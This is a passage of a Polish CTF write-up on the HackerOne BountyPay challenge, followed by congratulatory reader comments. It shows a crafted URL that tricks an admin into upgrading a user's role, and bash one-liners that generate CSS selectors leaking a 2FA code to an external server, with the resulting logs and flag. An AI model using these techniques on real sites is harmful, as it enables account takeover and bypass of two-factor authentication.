Rozglądając się po aplikacji możemy też zauważyć, że aplikacja używa parametru template do wyświetlania kolejnych stron. W wyniku eksperymentów zauważyłem, że użycie kilku parametrów template wraz z nawiasami kwadratowymi powoduje wyświetlenie kilku widoków na jednej stronie. Przykładowo – dla /?template[]=login&template[]=home pokaże jednocześnie formularz logowania oraz stronę główną:
Dodatkowo gdy na stronie logowania podamy parametr username – nazwa użytkownika w formularzu zostanie wypełniona. Przykładowo dla /?template=login&username=test.test :
Ostatnim elementem jest sekcja Profile gdzie użytkownik może zmienić wyświetlaną nazwę oraz avatar.
Przykładowe zapytanie HTTP z wprowadzonymi zmianami:
POST /?template=home HTTP/1.1 Host: staff.bountypay.h1ctf.com (...) profile_name=asdasda&profile_avatar=avatar2
Wartości profile_name oraz profile_avatar mogą mieć dowolne wartości – zostaną one zapisane w profilu użytkownika, a następnie wyrenderowane – na przykład w widoku Tickets . Dla przykładu podanie hackerone jako wartość parametru profile_avatar, a następnie przejście do sekcji Tickets wyrenderuje taki kod:
<div class="panel-heading">Reply</div> <div class="panel-body"> <div style="width: 100px;position: absolute"> <div style="margin:auto" class="avatar hackerone"></div> <div class="text-center">asdasdak</div> </div>
Jak widzimy profile_avatar wyświetla się jako część atrybutu class. Wróćmy do fragmentu w pliku website.js :
$(".upgradeToAdmin").click(function() { let t = $('input[name="username"]').val(); $.get("/admin/upgrade?username=" + t, function() { alert("User Upgraded to Admin") })
Bazując na powyższym:
- Funkcja zostanie uruchomiona w momencie kliknięcia na element z selektorem upgradeToAdmin .
- Nazwa użytkownika dostarczona jako parametr do /admin/upgrade pobierana jest z wartości elementu <input name=”username”> .
- Całość musi zostać uruchomiona przez administratora.
Finalnie:
- Mamy kontrole nad selektorami CSS przez modyfikację parametru profile_avatar – na wartości upgradeToAdmin oraz tab2.
- Musimy wyświetlić stronę zawierającą zarówno widok Ticket oraz stronę logowania – po to, żebyśmy mieli jednocześnie element <input name=”username”> oraz elementy z naszymi własnymi selektorami CSS – na jednej stronie.
- Musimy ustawić wartość parametru username na sandra.allison.
- Musimy wyzwolić event click – co osiągniemy przez dodanie #tab2 (location.hash) w adresie URL .
- Na samym końcu – musimy zaraportować utworzony URL administratorowi tak, żeby w niego kliknął i zmienił uprawnienia Sandry na administratora.
Finalny URL:
https://staff.bountypay.h1ctf.com/?template[]=login&template[]=ticket&ticket_id=3582&username=sandra.allison#tab2
Finalny URL do raportu:
https://staff.bountypay.h1ctf.com/admin/report?url=Lz90ZW1wbGF0ZVtdPWxvZ2luJnRlbXBsYXRlW109dGlja2V0JnRpY2tldF9pZD0zNTgyJnVzZXJuYW1lPXNhbmRyYS5hbGxpc29uI3RhYjI=
Wysłanie powyższego daje nam uprawnienia Administratora:
Mamy teraz login i hasło konta Marten’a!
2FA Bypass – część druga
Używając znalezionych danych do logowania w pierwszej aplikacji (App Portal) oraz po ponownym pominięciu mechanizmu 2FA możemy zauważyć informacje o płatnościach:
Klikając w przycisk Pay – pojawia się kolejny system 2FA, który musimy pominąć:
Przycisk Send Challenge wyzwala następujące zapytanie HTTP:
POST /pay/17538771/27cd1393c170e1e97f9507a5351ea1ba HTTP/1.1 Host: app.bountypay.h1ctf.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:77.0) Gecko/20100101 Firefox/77.0 (...) app_style=https%3A%2F%2Fwww.bountypay.h1ctf.com%2Fcss%2Funi_2fa_style.css
Parametr app_style zawiera adres URL do stylu CSS. Gdy zmodyfikujemy tę wartość na adres własnego serwera, w logach możemy zauważyć, że zapytanie wykonane jest przez Headless Chrome:
3.21.98.146 - - [10/Jun/2020:06:31:10 +0200] "GET /test.css HTTP/1.1" 404 3797 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/83.0.4103.61 HeadlessChrome/83.0.4103.61 Safari/537.36"
Po kilku testach okazuje się, że Headless Chrome odwiedza stronę, generującą kod 2FA, na której dołączony jest styl CSS, który możemy kontrolować (podawany jako część parametru app_style). Możemy zatem użyć techniki eksfiltracji danych przez CSS aby otrzymać kod 2FA.
Po pierwsze musimy odkryć, jak nazywa się atrybut w kodzie HTML, do którego chcemy uzyskać dostęp. W tym celu wygenerowałem następujący plik CSS:
$ for a in {{a..z},{A..Z},{0..9},.,:,\;,-}; do echo "input[name^='$a] { background: url(https://[redacted]/csp/leak.gif?name=$a); }" ; done > h1.css
W logach mojego serwera pojawił się wpis wskazujący, że pierwsza litera atrybutu to „c”:
GET /csp/leak.gif?name=c HTTP/1.1
Korzystając z powyższej techniki ustaliłem, że nazwa atrybutu to code_X – gdzie X to numer od 1 do 7, wskazujący na pozycję znaku w kodzie 2FA. Dla utrudnienia, kolejność elementów z poszczególnymi znakami wyświetlana była losowo. Aby uzyskać finalny kod 2FA musimy znać nie tylko wartość, ale też pozycje. Finalny kod do generowania pliku CSS wygląda następująco:
#!/bin/bash for i in `seq 1 7`; do for a in {{a..z},{A..Z},{0..9},.,:,\;,-,_}; do echo "input[name='code_$i'][value='$a'] { background: url(https://[redacted]/csp/leak.gif?pos=1&val=$a); }" ; done done
Przechodząc dalej otrzymujemy poszczególne litery kodu oraz ich dokładną kolejność, co możemy wykorzystać do ominięcia mechanizmu 2FA:
GET /csp/leak.gif?pos=1&val=g HTTP/1.1 GET /csp/leak.gif?pos=7&val=P HTTP/1.1 GET /csp/leak.gif?pos=5&val=K HTTP/1.1 GET /csp/leak.gif?pos=4&val=m HTTP/1.1 GET /csp/leak.gif?pos=6&val=2 HTTP/1.1 GET /csp/leak.gif?pos=2&val=e HTTP/1.1 GET /csp/leak.gif?pos=3&val=H HTTP/1.1
To doprowadza nas do najbardziej wartościowej części zadania flagi:
^FLAG^736c635d8842751b8aafa556154eb9f3$FLAG$
Podsumowanie:
Przygotowana zadania bardzo ciekawe, a samo rozwiązywanie CTF traktuję jako bardzo dobrą zabawę pod szyldem cyberbezpieczeństwa. Największe wyzwanie jednak sprawiło mi przygotowanie powyższego raportu (oryginalna wersja w języku angielskim dostępna jest na stronie Hackerone https://hackerone.com/reports/895202).
Dla zainteresowanych na Youtube dostępna jest rozmowa ze zwycięzcami, na temat zadań, rozwiązań oraz ogólnych odczuć dotyczących opisywanego CTFa: https://www.youtube.com/watch?v=AAQHEl3b05M
Przy okazji – zachęcamy do zerknięcia na ofertę pentestową Securitum – Jakub jest jednym z naszych pentesterów :-)
Gratulacje!! Świetny raport, pokazujący nie tylko techniki i narzędzia, ale przede wszystkim tok myślowy. Mało jest takich publikacji w polskim internecie, dzięki za podzielenie się!
Gratulacje! Świetna robota.
WOW! Gratulacje!
Zadanie bardzo podobne do maszyny „Player2” z HTB (poziom Insane).
Gratulacje!
Świetnie opisane, więcej takich publikacji na Sekuraku!
Swietna robota, pozdro zoczus :)
Miło uczyć się od lepszych od siebie.